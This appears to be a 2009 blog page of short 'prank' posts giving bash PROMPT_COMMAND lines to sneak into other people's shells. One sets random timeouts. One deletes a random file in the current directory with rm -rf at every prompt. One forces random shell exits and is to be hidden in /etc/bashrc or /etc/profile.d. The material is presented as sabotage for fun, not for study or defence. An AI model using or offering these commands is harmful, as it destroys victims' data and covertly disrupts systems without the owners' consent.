Breaking Systems for Fun and Profit » PROMPT_COMMAND Panic

Better learn to type fast…

Mule — Mon, 27 Jul 2009 07:49:03 +0000

Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:

export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'

Meet the Prompt of Doom

Mule — Fri, 24 Jul 2009 07:13:07 +0000

Try to sneak this one into someone’s session and watch the hilarity ensue:

export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'

Random exits

Mule — Thu, 23 Jul 2009 15:34:50 +0000

This one is sure to confuse. A user will exit his shell somewehere random inside 30 minutes after starting it. Hide the following piece of code somewhere in /etc/bashrc or a .sh file in /etc/profile.d/

export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'